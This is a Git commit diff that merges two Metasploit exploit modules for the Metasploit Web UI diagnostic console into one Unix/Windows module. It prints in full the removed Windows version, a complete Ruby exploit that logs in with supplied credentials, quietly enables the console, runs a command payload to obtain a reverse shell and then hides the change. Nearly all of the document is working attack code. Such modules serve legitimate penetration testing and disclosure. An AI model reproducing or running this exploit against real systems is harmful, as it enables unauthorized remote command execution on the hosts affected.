Combine Unix and Windows modules
parent
ea220091ea
commit
0b012c2496
|
@ -36,10 +36,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Author' => [ 'Justin Steven' ], # @justinsteven
|
'Author' => [ 'Justin Steven' ], # @justinsteven
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
'Platform' => %w{ linux unix },
|
'Platform' => %w{ linux unix windows },
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
'Payload' => { 'PayloadType' => 'cmd' },
|
'Payload' => { 'PayloadType' => 'cmd' },
|
||||||
'Targets' => [ ['Automatic', { }], ],
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Unix',
|
||||||
|
{
|
||||||
|
'Platform' => [ 'linux', 'unix' ]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Windows',
|
||||||
|
{
|
||||||
|
'Platform' => [ 'windows' ]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Aug 23 2016'
|
'DisclosureDate' => 'Aug 23 2016'
|
||||||
))
|
))
|
|
@ -1,273 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'uri'
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
|
|
||||||
'Description' => %q{
|
|
||||||
This module exploits the "diagnostic console" feature in the Metasploit
|
|
||||||
Web UI to obtain a reverse shell.
|
|
||||||
|
|
||||||
The diagnostic console is able to be enabled or disabled by an
|
|
||||||
administrator on Metasploit Pro and by an authenticated user on
|
|
||||||
Metasploit Express and Metasploit Community. When enabled, the
|
|
||||||
diagnostic console provides access to msfconsole via the web interface.
|
|
||||||
An authenticated user can then use the console to execute shell
|
|
||||||
commands.
|
|
||||||
|
|
||||||
NOTE: Valid credentials are required for this module.
|
|
||||||
|
|
||||||
Tested against:
|
|
||||||
|
|
||||||
Metasploit Community 4.12.0
|
|
||||||
},
|
|
||||||
'Author' => [ 'Justin Steven' ], # @justinsteven
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Privileged' => true,
|
|
||||||
'Platform' => %w{ windows },
|
|
||||||
'Arch' => ARCH_CMD,
|
|
||||||
'Payload' => { 'PayloadType' => 'cmd' },
|
|
||||||
'Targets' => [ ['Automatic', { }], ],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'DisclosureDate' => 'Aug 23 2016'
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptBool.new('SSL', [ true, 'Use SSL', true ]),
|
|
||||||
OptPort.new('RPORT', [ true, '', 3790 ]),
|
|
||||||
OptString.new('TARGETURI', [ true, 'MSF base path', '/' ]),
|
|
||||||
OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
|
|
||||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def do_login()
|
|
||||||
|
|
||||||
print_status('Obtaining cookies and authenticity_token')
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'login'),
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res
|
|
||||||
fail_with(Failure::NotFound, 'Failed to retrieve login page')
|
|
||||||
end
|
|
||||||
|
|
||||||
unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
|
|
||||||
fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
|
|
||||||
end
|
|
||||||
|
|
||||||
authenticity_token = $1
|
|
||||||
session = res.get_cookies
|
|
||||||
|
|
||||||
print_status('Logging in')
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'user_sessions'),
|
|
||||||
'cookie' => session,
|
|
||||||
'vars_post' =>
|
|
||||||
{
|
|
||||||
'utf8' => '\xE2\x9C\x93',
|
|
||||||
'authenticity_token' => authenticity_token,
|
|
||||||
'user_session[username]' => datastore['USERNAME'],
|
|
||||||
'user_session[password]' => datastore['PASSWORD'],
|
|
||||||
'commit' => 'Sign in'
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res
|
|
||||||
fail_with(Failure::NotFound, 'Failed to log in')
|
|
||||||
end
|
|
||||||
|
|
||||||
return res.get_cookies, authenticity_token
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_console_status(session)
|
|
||||||
|
|
||||||
print_status('Getting diagnostic console status and profile_id')
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'settings'),
|
|
||||||
'cookie' => session,
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res
|
|
||||||
fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
|
|
||||||
end
|
|
||||||
|
|
||||||
unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
|
|
||||||
end
|
|
||||||
|
|
||||||
profile_id = $1
|
|
||||||
|
|
||||||
if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/
|
|
||||||
console_status = true
|
|
||||||
elsif res.body =~ /<input\W+.*\bid="allow_console_access"/
|
|
||||||
console_status = false
|
|
||||||
else
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
|
|
||||||
end
|
|
||||||
|
|
||||||
print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")
|
|
||||||
|
|
||||||
return console_status, profile_id
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def set_console_status(session, authenticity_token, profile_id, new_console_status)
|
|
||||||
print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
|
|
||||||
'cookie' => session,
|
|
||||||
'vars_post' =>
|
|
||||||
{
|
|
||||||
'utf8' => '\xE2\x9C\x93',
|
|
||||||
'_method' => 'patch',
|
|
||||||
'authenticity_token' => authenticity_token,
|
|
||||||
'profile_id' => profile_id,
|
|
||||||
'allow_console_access' => new_console_status,
|
|
||||||
'commit' => 'Update Settings'
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res
|
|
||||||
fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_container_id(session, container_label)
|
|
||||||
|
|
||||||
container_label_singular = container_label.gsub(/s$/, "")
|
|
||||||
|
|
||||||
print_status("Getting ID of a valid #{container_label_singular}")
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, container_label),
|
|
||||||
'cookie' => session,
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
|
|
||||||
print_warning("Failed to get a valid #{container_label_singular} ID")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
container_id = $1
|
|
||||||
|
|
||||||
vprint_good("Got: #{container_id}")
|
|
||||||
|
|
||||||
container_id
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_console(session, container_label, container_id)
|
|
||||||
|
|
||||||
print_status('Creating a console, getting its ID and authenticity_token')
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
|
|
||||||
'cookie' => session,
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res && res.headers['location']
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
|
|
||||||
end
|
|
||||||
|
|
||||||
console_id = res.headers['location'].split('/')[-1]
|
|
||||||
|
|
||||||
vprint_good("Got console ID: #{console_id}")
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
|
|
||||||
'cookie' => session,
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
|
|
||||||
end
|
|
||||||
|
|
||||||
console_authenticity_token = $1
|
|
||||||
|
|
||||||
return console_id, console_authenticity_token
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
|
|
||||||
|
|
||||||
print_status('Running payload')
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
|
|
||||||
'cookie' => session,
|
|
||||||
'vars_post' =>
|
|
||||||
{
|
|
||||||
'read' => 'yes',
|
|
||||||
'cmd' => command,
|
|
||||||
'authenticity_token' => console_authenticity_token,
|
|
||||||
'last_event' => '0',
|
|
||||||
'_' => ''
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res
|
|
||||||
fail_with(Failure::NotFound, 'Failed to run command')
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
|
|
||||||
session, authenticity_token = do_login()
|
|
||||||
|
|
||||||
original_console_status, profile_id = get_console_status(session)
|
|
||||||
|
|
||||||
unless original_console_status
|
|
||||||
set_console_status(session, authenticity_token, profile_id, true)
|
|
||||||
end
|
|
||||||
|
|
||||||
if container_id = get_container_id(session, "workspaces")
|
|
||||||
# target calls them "workspaces"
|
|
||||||
container_label = "workspaces"
|
|
||||||
elsif container_id = get_container_id(session, "projects")
|
|
||||||
# target calls them "projects"
|
|
||||||
container_label = "projects"
|
|
||||||
else
|
|
||||||
fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
|
|
||||||
end
|
|
||||||
|
|
||||||
console_id, console_authenticity_token = get_console(session, container_label,container_id)
|
|
||||||
|
|
||||||
run_command(session, container_label, console_authenticity_token,
|
|
||||||
container_id, console_id, payload.encoded)
|
|
||||||
|
|
||||||
unless original_console_status
|
|
||||||
set_console_status(session, authenticity_token, profile_id, false)
|
|
||||||
end
|
|
||||||
|
|
||||||
handler
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
Loading…
Reference in New Issue